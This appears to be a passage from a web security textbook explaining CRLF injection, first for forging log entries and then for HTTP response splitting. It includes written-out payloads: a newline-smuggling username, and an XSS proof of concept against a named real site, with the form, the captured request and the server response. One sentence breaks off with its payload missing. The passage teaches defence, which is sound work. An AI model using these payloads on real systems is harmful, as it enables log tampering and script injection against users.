CRLF is actually two characters: CR is carriage return (ASCII 13, \r), and LF is linefeed (ASCII 10, \n). The two characters \r and \n are used to represent a newline, with its hexadecimal as 0x0d and 0x 0a.
CRLF is often used as the separator between the different semantics. Therefore, it is possible to change the semantics by injecting CRLF characters.
For example, in the log file, CRLF can help to construct a new log. In the following code, the username that failed at login is written to the log file:
log = open(“access.log”, ‘a’)
log.write(“User login failed for: %s\n” % username)
Under normal circumstances, the following log will be recorded:
User login failed for: guest
User login failed for: admin
But without the line break “\ r\n,” if the attacker enters the following data, it is possible to insert an additional log:
guest\nUser login succeeded for: admin
Because of the line break “\ n,” the log file will become
User login failed for: guest
User login succeeded for: admin
The second record is a forgery; the admin user did not fail to log in.
CRLF injection is not only used to inject logs, all places using CRLF as a separator may be injected, such as “HTTP header injection.”
In the HTTP protocol, the HTTP header is separated by “\ r\n.” Therefore, if the server side has no filtering for “\ r\n” and puts the user input data in the HTTP header, it could pose security risks. CRLF injection in the HTTP header can be referred to as “HTTP response splitting.”
The following example is an XSS attack completed by CRLF injection. Insert CRLF characters in the parameter:
<form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d% 0a%0d%0a<script>alert(/XSS/);</script>" method="post">
<!-- input name="email" value="" / -->
<input name="password" value="testtest" />
<input name="origURL" value="http%3A%2F%2Fwww.xiaonei. com%2FSysHome.do%0d%0a" />
<input name="formName" value="" />
<input name="method" value="" />
<input type="submit" value="%E7%99%BB%E5%BD%95" /> </form>
Submit a POST request, and then Ethereal can see the whole process:
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script> alert(/XSS/);</script> HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/ x-silverlight, */*
UA-CPU: x86 Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Cookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _ firstname.lastname@example.org; __utma=204579609.2036071383.1229329685.12293365 55.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3. utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=12 220.127.116.11_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000
Then, the server returns:
HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
<script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMT
Set-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Date: Mon, 15 Dec 2008 13:35:17 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When the server returns, we see two line breaks “\ r\n” in the value of setcookie. And the second “\ r\n” means the end of the HTTP header. The HTTP body is followed by two CRLFs. The attacker constructs a malicious HTML script to complete an XSS attack.
Cookies are the easiest to control because application users will often write information to cookies. HTTP response splitting into the HTTP body can be achieved not only by two CRLF injections. Sometimes, injecting one HTTP header will also bring security issues.
Injecting a link header in the new version of the browser will lead to an XSS attack:
Link: <http://www.a.com/xss.css>; REL:stylesheet
But if the injection is
then the XSS filter function of IE 8 will be disabled. HTTP response splitting harms even more than XSS because it undermines the integrity of the HTTP protocol.
Fighting against CRLF is very simple; one has just to handle well the two reserved characters “\ r” and “\ n,” especially those using the newline character as the application of the separator.